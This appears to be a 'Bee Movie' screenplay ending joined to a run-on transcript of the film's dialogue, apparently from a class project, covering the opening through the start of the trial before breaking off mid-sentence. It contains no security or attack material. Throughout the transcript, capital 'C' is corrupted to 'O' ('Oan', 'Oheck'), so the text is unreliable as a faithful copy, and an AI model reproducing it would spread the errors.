CUT TO: EXT. AIRPLANE A GIGANTIC SWARM OF BEES flies in to hold the plane up. CUT TO: INT. COCKPIT - CONTINUOUS BARRY You snap out of it! VANESSA You snap out of it! "Bee Movie" - JS REVISIONS 8/13/07 120. BARRY You snap-- VANESSA Hold it! BARRY (about to slap her again) Why? Come on, it’s my turn. VANESSA How is the plane flying? Barry’s antennae ring. BARRY I don’t know. (answering) Hello? CUT TO: EXT. AIRPLANE ANGLE ON: The underside of the plane. The pollen jocks have massed all around the underbelly of the plane, and are holding it up. LOU LODUCA Hey Benson, have you got any flowers for a happy occasion in there? CUT TO: INT. COCKPIT Lou, Buzz, Splitz, and Jackson come up alongside the cockpit. BARRY The pollen jocks! VANESSA They do get behind a fellow. BARRY Black and yellow. LOU LODUCA (over headset) Hello. "Bee Movie" - JS REVISIONS 8/13/07 121. Alright you two, what do you say we drop this tin can on the blacktop? VANESSA What blacktop? Where? I can’t see anything. Can you? BARRY No, nothing. It’s all cloudy. CUT TO: EXT. RUNWAY Adam SHOUTS. ADAM Come on, you’ve got to think bee, Barry. Thinking bee, thinking bee. ANGLE ON: Overhead shot of runway. The bees are in the formation of a flower. In unison they move, causing the flower to FLASH YELLOW AND BLACK. BEES (chanting) Thinking bee, thinking bee. CUT TO: INT. COCKPIT We see through the swirling mist and clouds. A GIANT SHAPE OF A FLOWER is forming in the middle of the runway. BARRY Wait a minute. I think I’m feeling something. VANESSA What? BARRY I don’t know, but it’s strong. And it’s pulling me, like a 27 million year old instinct. Bring the nose of the plane down. "Bee Movie" - JS REVISIONS 8/13/07 122. LOU LODUCA (CONT'D) EXT. RUNWAY All the bees are on the runway chanting “Thinking Bee”. CUT TO: INT. CONTROL TOWER RICK What in the world is on the tarmac? ANGLE ON: Dave OTS onto runway seeing a flower being formed by millions of bees. BUD Get some lights on that! CUT TO: EXT. RUNWAY ANGLE ON: AIRCRAFT LANDING LIGHT SCAFFOLD by the side of the runway, illuminating the bees in their flower formation. INT. COCKPIT BARRY Vanessa, aim for the flower! VANESSA Oh, okay? BARRY Cut the engines! VANESSA Cut the engines? BARRY We’re going in on bee power. Ready boys? LOU LODUCA Affirmative. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 123. INT. AIRPLANE COCKPIT BARRY Good, good, easy now. Land on that flower! Ready boys? Give me full reverse. LOU LODUCA Spin it around! The plane attempts to land on top of an “Aloha Airlines” plane with flowers painted on it. BARRY (V.O) I mean the giant black and yellow pulsating flower made of millions of bees! VANESSA Which flower? BARRY That flower! VANESSA I’m aiming at the flower! The plane goes after a FAT GUY IN A HAWAIIAN SHIRT. BARRY (V.O) That’s a fat guy in a flowered shirt! The other other flower! The big one. He snaps a photo and runs away. BARRY (CONT'D) Full forward. Ready boys? Nose down. Bring your tail up. Rotate around it. VANESSA Oh, this is insane, Barry. BARRY This is the only way I know how to fly. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 124. AIR TRAFFIC CONTROL TOWER BUD Am I koo-koo kachoo, or is this plane flying in an insect-like pattern? CUT TO: EXT. RUNWAY BARRY (V.O) Get your nose in there. Don’t be afraid of it. Smell it. Full reverse! Easy, just drop it. Be a part of it. Aim for the center! Now drop it in. Drop it in, woman! The plane HOVERS and MANEUVERS, landing in the center of the giant flower, like a bee. The FLOWERS from the cargo hold spill out onto the runway. INT. AIPLANE CABIN The passengers are motionless for a beat. PASSENGER Come on already! They hear the “ding ding”, and all jump up to grab their luggage out of the overheads. SEQ. 4225 - “RUNWAY SPEECH” EXT. RUNWAY - CONTINUOUS The INFLATABLE SLIDES pop out the side of the plane. The passengers escape. Barry and Vanessa slide down out of the cockpit. Barry and Vanessa exhale a huge breath. VANESSA Barry, we did it. You taught me how to fly. Vanessa raises her hand up for a high five. "Bee Movie" - JS REVISIONS 8/13/07 125. BARRY Yes. No high five. VANESSA Right. ADAM Barry, it worked. Did you see the giant flower? BARRY What giant flower? Where? Of course I saw the flower! That was genius, man. Genius! ADAM Thank you. BARRY But we’re not done yet. Barry flies up to the wing of the plane, and addresses the bee crowd. BARRY (CONT’D) Listen everyone. This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We’re the only ones who make honey, pollinate flowers, and dress like this. If we’re going to survive as a species, this is our moment. So what do you all say? Are we going to be bees, or just Museum of Natural History key chains? BEES We’re bees! KEYCHAIN BEE Keychain! BARRY Then follow me... Except Keychain. BUZZ Hold on Barry. You’ve earned this. Buzz puts a pollen jock jacket and helmet with Barry’s name on it on Barry. "Bee Movie" - JS REVISIONS 8/13/07 126. BARRY I’m a pollen jock! (looking at the jacket. The sleeves are a little long) And it’s a perfect fit. All I’ve got to do are the sleeves. The Pollen Jocks toss Barry a gun. BARRY (CONT’D) Oh yeah! ANGLE ON: Martin and Janet Benson. JANET BENSON That’s our Barry. All the bees descend upon the flowers on the tarmac, and start collecting pollen. CUT TO: SEQ. 4250 - “RE-POLLINATION” EXT. SKIES - CONTINUOUS The squadron FLIES over the city, REPOLLINATING trees and flowers as they go. Barry breaks off from the group, towards Vanessa’s flower shop. CUT TO: EXT. VANESSA’S FLOWER SHOP - CONTINUOUS Barry REPOLLINATES Vanessa’s flowers. CUT TO: EXT. CENTRAL PARK - CONTINUOUS ANGLE ON: Timmy with a frisbee, as the bees fly by. TIMMY Mom, the bees are back! "Bee Movie" - JS REVISIONS 8/13/07 127. Central Park is completely repollinated by the bees. DISSOLVE TO: INT. HONEX - CONTINUOUS Honex is back to normal and everyone is busily working. ANGLE ON: Adam, putting his Krelman hat on. ADAM If anyone needs to make a call, now’s the time. I’ve got a feeling we’ll be working late tonight! The bees CHEER. CUT TO: SEQ. 4355 EXT: VANESSA’S FLOWER SHOP With a new sign out front. “Vanessa & Barry: Flowers, Honey, Legal Advice” DISSOLVE TO: INT: FLOWER COUNTER Vanessa doing a brisk trade with many customers. CUT TO: INT: FLOWER SHOP - CONTINUOUS Vanessa is selling flowers. In the background, there are SHELVES STOCKED WITH HONEY. VANESSA (O.C.) Don’t forget these. Have a great afternoon. Yes, can I help who’s next? Who’s next? Would you like some honey with that? It is beeapproved. SIGN ON THE BACK ROOM DOOR READS: “Barry Benson: Insects at Law”. "Bee Movie" - JS REVISIONS 8/13/07 128. Camera moves into the back room. ANGLE ON: Barry. ANGLE ON: Barry’s COW CLIENT. COW Milk, cream, cheese...it’s all me. And I don’t see a nickel. BARRY Uh huh? Uh huh? COW (breaking down) Sometimes I just feel like a piece of meat. BARRY I had no idea. VANESSA Barry? I’m sorry, have you got a moment? BARRY Would you excuse me? My mosquito associate here will be able to help you. Mooseblood ENTERS. MOOSEBLOOD Sorry I’m late. COW He’s a lawyer too? MOOSEBLOOD Ma’am, I was already a bloodsucking parasite. All I needed was * a briefcase. * ANGLE ON: Flower Counter. VANESSA (to customer) Have a great afternoon! (to Barry) Barry, I just got this huge tulip order for a wedding, and I can’t get them anywhere. "Bee Movie" - JS REVISIONS 8/13/07 129. BARRY Not a problem, Vannie. Just leave it to me. Vanessa turns back to deal with a customer. VANESSA You’re a life-saver, Barry. (to the next customer) Can I help who’s next? Who’s next? ANGLE ON: Vanessa smiling back at Barry. Barry smiles too, then snaps himself out of it. BARRY (speaks into his antennae) Alright. Scramble jocks, it’s time to fly! VANESSA Thank you, Barry! EXT. FLOWER SHOP - CONTINUOUS ANGLE ON: Ken and Andy walking down the street. KEN (noticing the new sign) Augh! What in the world? It’s that bee again! ANDY (guiding Ken protectively) Let it go, Kenny. KEN That bee is living my life! When will this nightmare end? ANDY Let it all go. They don’t break stride. ANGLE ON: Camera in front of Barry as he flies out the door and up into the sky. Pollen jocks fold in formation behind him as they zoom into the park. BARRY (to Splitz) Beautiful day to fly. "Bee Movie" - JS REVISIONS 8/13/07 130. JACKSON Sure is. BARRY Between you and me, I was dying to get out of that office. FADE OUT: "Bee Movie" - JS REVISIONS 8/13/07 131.
MarkipTheMudkip / In Class Project 2According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your 